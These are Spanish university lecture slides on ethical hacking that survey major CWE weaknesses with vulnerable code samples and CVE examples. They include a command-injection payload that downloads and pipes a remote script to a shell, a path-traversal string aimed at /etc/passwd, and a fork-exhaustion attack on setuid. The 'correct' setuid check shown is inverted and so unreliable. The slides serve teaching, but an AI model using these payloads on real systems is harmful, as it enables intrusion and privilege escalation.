Debilidades

Hacking Ético

©Ismael Ripoll &
Hector Marco

Universidad Politècnica de València

February 1, 2022

Índice

Qué vamos a trabajar

- La raíz del problema de seguridad son los fallos de seguridad.
- Vamos a estudiar los principales **tipos** de fallos.
- Se denominan **debilidades** o **weaknesesses**.
- Hay cerca de 2000 tipos de debilidades.
- Solo estudiaremos las principales.
- En la medida de lo posible utilizaré los nombres en inglés.
- Utilizaremos como base los excelentes documentos del CWE MITRE (`https://cwe.mitre.org`), en especial el documento: `https://cwe.mitre.org/data/published/cwe_v3.1.pdf`

CWE-120:
Classic Buffer Overflow

CWE-120: Classic Buffer Overflow (I)

Definición

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

- Existen muchas formas distintas de escribir fuera de un buffer, de ahí que se califique como “classic” cuando el programador no ha comprobado el tamaño del destino.
- Otras formas de overflow pueden ser causadas por integer overflow, signed and unsigned errors y format string vulnerabilities.
- Afecta principalmente a lenguajes de nivel medio y bajo (C, C++ y ensamblador).

CWE-120: Classic Buffer Overflow (II)

- La mayoría de los lenguajes modernos impiden “por construcción” este tipo de fallos.
- Cada vez más, los compiladores añaden comprobaciones para evitar estos fallos.

CWE-120: Ejemplos (I)

- Normalmente se produce por utilizar funciones de librería inseguras como: `gets()`, `scanf()`, `strcpy()`, etc.
- Ejemplos de código vulnerable:

```
char buffer[20];
printf ("Enter your last name: ");
scanf ("%s", buffer);
```

Este es un Stack Buffer Overflow:

```
void buggy_function(char* string){
  char buffer[24];
  strcpy(buffer, string);
  ...
}
```

CWE-120: Ejemplos (II)

`gets()` nunca se debe utilizar.

```
char buffer[24];
printf("Please enter your name and press <Enter>\n");
gets(buffer);
```

También se puede producir desbordamientos con otros tipos de datos, no solo con cadenas:

```
typedef struct{
  int a;
  long b;
} estructura_t;
void buggy2(estructura *origen, int nr){
  int x, len;
  estructura_t ordenado[100];
  memcpy(ordenado, origen, nr * sizeof(estructura_t));
  ...
}
```

CWE-120: Ejemplos (III)

- Un ejemplo de desbordamiento de finales del 2018: CVE-2018-16864.

CWE-120: Consecuencias

- El atacante puede modificar otras estructuras de datos del proceso. El resultado final depende completamente del uso que el proceso haga de los datos sobreescritos.
- Si los datos sobre escritos no son usados por el programa tras el desbordamiento, entonces no pasa nada.
- Se podría bypasear ciertas condiciones críticas. Por ejemplo, si se puede modificar la variable que contiene el estado de autenticación.
- Lo más frecuente es tomar el control de flujo. Sobre todo cuando se desbordan variables de la pila.
- Casi siempre se puede causar un crash de la aplicación con lo que se tiene un DoS.
- Se considera que es muy probable que este fallo sea una vulnerabilidad.

CWE-134: Externally-Controlled Format String

CWE-134: Externally-Controlled Fmt Str (I)

Definición

The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

- Hay que empezar por el principio: leer la hoja de manual: `man 3 printf`, y mirar los "*formatos*" (o indicadores de conversión) que soporta.
- Los formatos son subcadenas que comienzan con el símbolo "%" seguido de uno o más argumentos. Flags más usados:

Formato	Descripción
%d	Valor entero con signo impreso en decimal.
%x	Valor entero sin signo impreso en hexadecimal.
%s	Puntero a cadena, se imprime la cadena de caracteres.
%c	Un caracter.
%p	Un puntero, se imprime como un hexadecimal.

CWE-134: Externally-Controlled Fmt Str (II)

- Para cada formato debe existir un argumento que corresponda con el tipo que se indica. Por defecto los argumentos deben estar en el mismo orden que han sido declarados los formatos.
- Ejemplo de uso:

```
char name[10]="ABC";
printf("[ptr: %p] [string: %s] [chars:%c-%c-%c]\n",
       name,
       name,
       name[0], name[1], name[2]);
```

- Pero ¿qué pasa si no queremos formatear nada, solo necesitamos imprimir una cadena?

```
    printf("Hello wolrd!");
```

CWE-134: Externally-Controlled Fmt Str (III)

- Y ¿Qué pasa si solo queremos imprimir una cadena que tenemos en una variable?

```
printf("%s",nombre);
```

- ¿Se puede escribir código más corto?

```
printf(nombre);
```

- Existen flags que **permiten leer y escribir en cualquier dirección**.

CWE-134: Externally-Controlled Fmt Str (IV)

- Por tanto, dejar la cadena de formato al alcance de un atacante implica darle la posibilidad de leer y modificar sin restricciones.

Formato	Descripción
%n	Escribe en la dirección dada el número de caracteres escritos hasta ese momento.

Modificador	Descripción
h	Tipo de datos `short`.
l	Tipo de datos `long`.
ll	Tipo de datos `long long`.
width	Entero que indica el ancho de un formato.

CWE-134: Externally-Controlled Fmt Str (V)

- Ejemplo de uso:

```
short int counter;
printf("%10d %hn", 0x90, &counter);
printf("counter= %hd\n" , counter);
```

- Como se puede ver, se le pasa la dirección de la variable que queremos escribir. Hemos sido capaces de escribir un 0x90 en `counter`.

CWE-134: Ejemplos

- CVE-2012-0809: un fallo en `sudo`.
  https://www.sudo.ws/sudo/alerts/sudo_debug.html
  Sudo 1.8.0 introduced simple debugging support that was primarily intended for use when developing policy or I/O logging plugins. The `sudo_debug()` *function contains a flaw where the program name is used as part of the format string passed to the* `fprintf()` *function. The program name can be controlled by the caller, either via a symbolic link or, on some systems, by setting argv[0] when executing sudo.*
  For example:

```
$ ln -s /usr/bin/sudo ./%s
$ ./%s -D9
Segmentation fault
```

CWE-134: Consecuencias

- Permite modificar y leer posiciones de memoria.
- Exfiltración de información.
- Modificar la información almacenada.
- La explotación es relativamente sencilla.

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

CWE-367: Race Condition

Definición

The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

- Este tipo de fallo afecta a todos los lenguajes de programación.
- Suele ser difícil de identificar en el código y de descubrir mediante tests.

CWE-367: Ejemplos (I)

- El siguiente programa tiene un fallo:

```
1 char fichero="/tmp/trabajo";
2 if (!access(fichero, W_OK)) {
3     f = fopen(fichero,"w+");
4     operate(f);
5 } else {
6     fprintf(stderr,"Unable to open file %s.\n",file);
7 }
```

- Veamos el funcionamiento de `access()`

```
$ man access
The check is done using the calling process's real UID and
GID, rather than the effective IDs as is done when
actually attempting an operation (e.g., open(2)) on the
file. ...
```

CWE-367: Ejemplos (II)

- Entre la llamada a `access()` y la llamada a `fopen()` un atacante puede hacer que `/tmp/trabajo` apunte a otro fichero, con un enlace simbólico.
- Para tener éxito es necesario que el atacante pueda realizar el cambio justo en el instante en el que el programa vulnerable retorna de la llamada `access()`.
- Pero todo es cuestión de paciencia e intentarlo miles de veces. Al final se consigue.

CWE-367: Ejemplos (III)

- Otro ejemplo:

```
1  #!/usr/bin/php
2  function readFile($filename){
3      $user = getCurrentUser();
4      //resolve file if its a symbolic link
5      if (is_link($filename)) {
6          $filename = readlink($filename);
7      }
8      if (fileowner($filename) == $user) {
9          echo file_get_contents($realFile);
10         return;
11     } else {
12         echo 'Access denied';
13         return false;
14     }
15 }
```

- Este tipo de fallo afecta a todos los lenguajes de programación.

CWE-367: Ejemplos (IV)

- Una vulnerabilidad en systemd que afecta a la mayoría de Linux:
  https://nvd.nist.gov/vuln/detail/CVE-2018-15687
- *A race condition in* `chown_one()` *of systemd allows an attacker to cause systemd to set arbitrary permissions on arbitrary files. Affected releases are systemd versions up to and including 239.*

CWE-367: Consecuencias

- Acceder (lectura o escritura) a ficheros o directorios por usuarios no autorizados. Lo que puede ser usado para tener una escalada de privilegios.
- Impedir que la aplicación escriba en los ficheros correctos.
- Aunque, para explotarlo suele ser necesario tener acceso local.

CWE-22: Improper Limitation of a Pathname to a Restricted Directory (’Path Traversal’)

CWE-22: Path Traversal (I)

Definición

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

- Podríamos decir que la vulnerabiliad permite navegar por el sistema de ficheros.
- Se da cuando la aplicación utiliza los datos controlados por el usuario sin validalos para construir el nombre de un fichero.
- El caso más típico es el de dar como nombre de fichero `../` repetidas veces.

CWE-22: Path Traversal (II)

- Recordemos que no es un error intentar acceder más allá del directorio raíz. Por tanto, un atacante puede construir un nombre de fichero con tantos `../` como quiera.

```
user_file="../../../../../../../../../../etc/passwd";
fd=open("/home/user/data" + user_file);
```

- Se refiere al fichero `/etc/passwd`.
- Observa que no se puede acceder a `/etc/passwd` con un path absoluto.
- Existe una gran "familia" (variantes) de este fallo con distintos números de CWE (desde el 22 al 39), en función de cómo se escape del directorio por defecto y cómo el programa afectado valide los datos del usuario.

CWE-22: Ejemplos

- CVE-2018-7300. El código vulnerable:

```
exec echo $args(userLang)>/etc/config/userprofiles/$args(
    userName).lang
```

- Permite escribir en el fichero que queramos, `userName`, y el contenido que queramos, `userLang`.
- El fallo está descrito en: https://atomic111.github.io/article/homematic-ccu2-filewrite
- CVE-2018-5716. Absolute path traversal.
- Descripción del fallo: https://www.0x90.zone/web/path-traversal/2018/02/16/Path-Traversal-Reprise-LM.html

CWE-22: Consecuencias

- Depende de qué se pueda leer o escribir.
- Sería posible exfiltrar información (accesible con los privilegios del proceso vulnerable) si el dato se utiliza para leer el fichero.
- Escribir en ficheros o crear nuevos. Lo que puede abrir puertas traseras cambiando contraseñas o eliminando medidas de seguridad.
- Modificar ejecutables del sistema, que luego al ser ejecutados permitirían tener un RCE.
- Finalmente, también se podría forzar un crash de la aplicación o sistema con lo que tendríamos un DoS.

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78: OS Command Injection (I)

Definición

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

- Es el equivalente del SQL injection pero en lugar de contra la base de datos, contra el sistema operativo.
- En muchas ocasiones, las aplicaciones hacen uso de comandos del sistema operativo para obtener información o para configurarlo y utilizan información dada por el usuario para construir el comando.

CWE-78: OS Command Injection (II)

- Algo tan inocente como hacer un `ping` a un host, es un Command injection si no se sanitiza el nombre del host.

```
#include <stdio.h>
#include <stdlib.h>
main(){
  char cmd[400], host[100];
  printf("Dame nombre (o ip) del host a pingear: ");
  gets(host);
  snprintf(cmd, 400, "/bin/ping %s\n", host);
  system(cmd);
}
```

Aparte del uso de `gets()` (que su mera existencia es pecaminosa) ¿Qué valor debe tener `host` para poder ejecutar un comando?

CWE-78: Ejemplos

- CVE-2018-19537. Se hace una copia de backup de la configuración, es modificada por el atacante y al subirla se produce la ejecución.

```
...
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
...
```

Configuración con la explotación:

```
wan_dyn_ucst 2 0
wan_dyn_hostname 1 `wget -O - http://url.es/hack |/bin/sh`
wan_stc_ip 1 0.0.0.0
```

- Descripción del fallo: https://github.com/JackDoan/TP-Link-ArcherC5-RCE

CWE-78: Consecuencias

- Es evidente la peligrosidad de este tipo de fallos.
- Se puede ejecutar comandos no autorizados (con los permisos del proceso vulnerable), con lo que podrá leer, modificar y ejecutar sin excesivos problemas lo que el atacante quiera.
- Si el sistema objetivo dispone de mucha funcionalidad, siempre existe la posibilidad de descargar un shell propio.

CWE-252:
Unchecked Return Value

CWE-252: Unchecked Return Value

Definición

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

- Existen algunas funciones que solemos pensar que siempre van a funcionar, que es muy improbable que fallen, o incluso que da igual que falle.
- Podemos pensar que el resto del programa será capaz de manejar ese fallo. Esto pasa muchas veces con las funciones de gestión de memoria (`malloc()` y `free()`. Que no se comprueba el valor devuelto.
- Si el fallo se produce en alguna función que gestiona los privilegios, entonces es explotable directamente.

CWE-252: Ejemplos (I)

- Muchos programas se lanzan como root (ejecutable setuidado), por ejemplo el comando `ping` para poder abrir un socket raw necesita ser root. Una vez tiene el socket, hace un "drop privileges" para ejecutar el resto del proceso como el usuario que lo invocó.
- Ejemplo de código vulnerable:

```
setuid(getuid());
```

La forma correcta sería:

```
if (!setuid( getuid() ) ) {
  perror("Fallo al reducir los privilegios\n");
  exit(-1);
}
```

CWE-252: Ejemplos (II)

- No comprobar el valor devuelto fue especialmente grave con el conocido fallo conocido como “adb setuid exhaustion attack” o CVE-2010-EASY.
- Permitía elevar los privilegios con tal de tener instalado el programa ADB (Android Debug Bridge).
  https://thesnkchrmr.wordpress.com/2011/03/24/rageagainstthecage/
- ADB es un ejecutable de root que está setuidado y llegado un momento de su ejecución (al igual que ping) tiene que hacer un drop privileges:

```
...
setgid(AID_SHELL);
setuid(AID_SHELL);
...
```

CWE-252: Ejemplos (III)

- La idea del ataque consiste en que `setuid()` el atacante puede forzar a que falle por el siguiente motivo:

```
$ man setuid
...
EAGAIN The call would change the caller's real UID (i.e., uid
       does not match the caller's real UID), but there was a temporary
       failure allocating the necessary kernel data structures.
...
```

- Si eres root ¿Qué significa eso de "*a temporary failure allocating the necessary kernel data structures*"?
- Pues resulta que todo usuario normal tiene **limitado** el número máximo de procesos que puede crear. La idea es proteger el sistema, y a otros usuarios, de un ataque de DoS local.
- Este parámetro depende de la cantidad de memoria que hay. Y se puede averiguar con el comando del shell `ulimit -u`.

CWE-252: Ejemplos (IV)

- Si al atacante crea 7735 procesos, y el programa ADB intenta hacer el `setuid()`, este fallará porque ahora sería el usuario tendría 7736 procesos y no está permitido, por tanto falla.
- Construir este tipo de ataques suele ser bastante sencillo:

```
int main(){
        int last_child, pid=0;
        do { // Crear tanto hijos como deje.
                last_child=pid;
                pid=fork();
                if ( 0 == pid ) {
                        sleep(10); exit(0);
                }
        } while ( 0 < pid);
        if (last_child>0)
                kill(last_child,9); // Matar el último
        return 0;
}
```

- Intenta ejecutar algo después de lanzar este proceso.

CWE-252: Consecuencias

- Es muy dependiente del código de la aplicación.
- Normalmente acaba en un crash, pero en el caso de drop privileges, se consigue una elevación de permisos.
- La gestión de errores es un tema mal resuelto. Por ejemplo, se ha intentado con las “excepciones” (`try{}catch;`), pero no parece una buena solución.
- Por otra parte, llenar el código de condicionales lo puede hacer difícil de leer.

CWE-250: Execution with Unnecessary Privileges

CWE-250: Execution with Unnecessary Privileges

Definición

*The software performs an operation at a privilege level that is **higher than the minimum level required**, which creates new weaknesses or amplifies the consequences of other weaknesses.*

- Más que un fallo en sí mismo es un "amplificador" de fallos.
- Puede ayudar a que otros fallos se conviertan en vulnerabilidades. Ayuan a conseguir una explotación.
- El fallo es que nuestro programa tenga más permisos **sin necesitarlos**.

CWE-250: Ejemplos

- El programa sendmail solía ejecutarse como root. Pero realmente no es necesario si se configuran correctamente los permisos de los ficheros y directorios.
- También se podría considerar un fallo de este tipo. Utilizar el shell de root para hacer tareas de usuario normal, como editar documentos o programar las prácticas. Solo se debe entrar como root cuando hace falta.
- CVE-2004-1624: *Carbon Copy 6.0.5257 does not drop system privileges when opening external programs through the help topic interface, which allows local users to gain privileges via (1) the help topic interface in CCW32.exe, which launches Notepad, or (2) the help button in the Carbon Copy Scheduler (CCSched.exe).*
- Hay que aprender a hacer un drop privilege como una persona!

CWE-250: Consecuencias

- A poco que la lógica del programa esté mal, se tiene una elevación de privilegios, con lo que ello conlleva.
- Ejecutar comandos no autorizados.
- Leer datos privados.
- Modificar o borrar datos no autorizados.